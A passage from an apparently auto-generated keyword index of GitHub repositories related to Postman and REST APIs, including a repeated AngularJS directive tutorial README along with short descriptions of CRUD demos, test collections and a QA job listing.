application, boot, concept, data, database, eclipse, exchange, form, format, media, service, services, social, util, utilizing 		A social media application implementing the RESTful Web Services using JSON exchange format done in Java. The main aim for working on this project was to understand the concept of REST web services. Done in eclipse utilizing Springboot, Hibernate, Postman and uses H2 as database 0 stars 0 watchers 0 forks
Unogwudan/currency-exchange-service
cloud, convert, converte, converter, currency, data, database, exchange, service 		A Currency Exchange API Microservice for a currency converter developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks

named (7 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
sanjaysaini2000/aspnet-core3-webapi
aspnet, demonstrate, named, operation, operations, webapi 		This is Web API named BookStoreAPI developed with asp.net core 3 using Entity Framework Core 3 and SQL Server as back-end to demonstrate simple out of the box CRUD operations. 2 stars 2 watchers 0 forks
MayMP/NodeJsExpressMongoDB
center, collection, command, config, configuration, data, database, directory, download, example, folder, host, http, https, import, install, installed, json, local, mongo, mongod, mongodb, named, node, nodejs, posts, unit 		This is a very basic example of (`List All Data`, `Detail By Each Id`, `Create`, `Update`, `Delete`) in Node.js and MongoDB. Running Locally Make sure you have Node.js(`https://nodejs.org/en/`) and the MongoDB for 32-bit(`https://www.mongodb.org/dl/win32/i386`) and for others (`https://www.mongodb.com/download-center/community`) installed. You're gonna need to create a DB named `InterviewDB` and import from the `MongoDB(For Interview)` folder. And please create collection name `posts`. You can adjust the database configuration in `app/config/config.json`. You can run " node app.js " from the project directory in command prompt. You can call url(`localhost:8080`) from your `Postman` or `Restful`. 1 stars 1 watchers 0 forks
gabrielpuscuta/expressjs-named-router
export, express, expressjs, named, route, router 		Named router for Express.js with Postman export 0 stars 0 watchers 0 forks
lifeinoppo/PostWoman
named 		one project just similar to that named after postman. 0 stars 0 watchers 0 forks
mz026/token_postman
named, token 		This gem is renamed `whoru` 0 stars 0 watchers 0 forks
ravalikandari/API-Test-Code-Postman-
named, site, store, test, tested, website 		Implementation of API Testing using PostMan. In this I had tested an website named (Swagger Petstore). 0 stars 0 watchers 0 forks

expect (7 listings) (Back to Top)

UnexpectedEOF/paypal-rest-postman-collections
client, collection, collections, expect, file, files, rest 		A couple of PayPal API collection files for the Postman REST client. 0 stars 0 watchers 18 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
raketensilo/postman_same-response-as_keycloak
assert, client, expect, rake 		Using REST API client Postman to assert actual against expected Json responses 0 stars 0 watchers 1 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
evelynda1985/muleSetVariableApp
console, expect, list, listen, method, send, studio, variable, variables 		Mulesoft 4, anypoint studio, HTPP listener, 2 set variables. payload, logger. Tested using Postman, POST method sending in the body a JSON. Result expected in Postman and in the console log. 0 stars 0 watchers 0 forks
moogly81/postman_moogly
expect, test, usefull 		a test just for me, don't expect anything usefull here 0 stars 0 watchers 0 forks
povilaspanavas/PostmanProblemFixer
curl, enable, enables, expect, find, form, format, host, import, move 		Reformats text in cliboard. It expects to find there curl and move host from the end to the start. This enables Postman to import a coppied curl from Charles successfully. 0 stars 0 watchers 0 forks

managing (7 listings) (Back to Top)

cassiomolin/tasks-rest-api
managing, rest, task, tasks 		Sample REST API for managing tasks using Spring Boot, Jersey, Jackson, MapStruct, Hibernate Validator and REST Assured. 0 stars 0 watchers 5 forks
miladBentaiba/REST-API
application, axios, communicate, contact, frontend, list, managing, operation, react, test 		- create a REST API for managing contact list (CRUD operation) - use Postman to test your REST API - create a frontend application with react that use this REST API. You can use axios to communicate with the API 1 stars 1 watchers 0 forks
postman-data-api-templates/home
data, home, managing, site, template, templates, website 		This is the main website for managing all the Postman data API templates. 1 stars 1 watchers 0 forks
api-evangelist/nexmo
collection, collections, list, managing, postman collection, postman collections 		This is a repository for managing postman collections. 0 stars 0 watchers 1 forks
bhanukandregula/microsoft-graph-bookings-apis
book, booking, collection, customer, customers, graph, insight, managing, microsoft 		Microsoft Bookings is for small and mid scale industries for managing appointments from the customers. This repo will give you a flexibility to use all the possible APIs that comes with Microsoft Bookings with NODE JS. It also consists of the Postman collection to give a quick try and understand its insights. 0 stars 0 watchers 0 forks
darkwebdev/home-api
data, home, managing 		Smarthome API for managing data from sensors 0 stars 0 watchers 0 forks
Neuromobile/newman-vcs
collection, collections, data, managing, mobile, newman, test, tests 		An adapter for newman to allow managing Postman/newman data with a VCS and launch collections and tests 0 stars 0 watchers 0 forks

material (7 listings) (Back to Top)

ambertests/explore-with-postman
explore, material, materials, test, tests, workshop, workshops 		Various materials for Exploratory API Testing with Postman workshops 54 stars 54 watchers 59 forks
Mir00r/busticketing
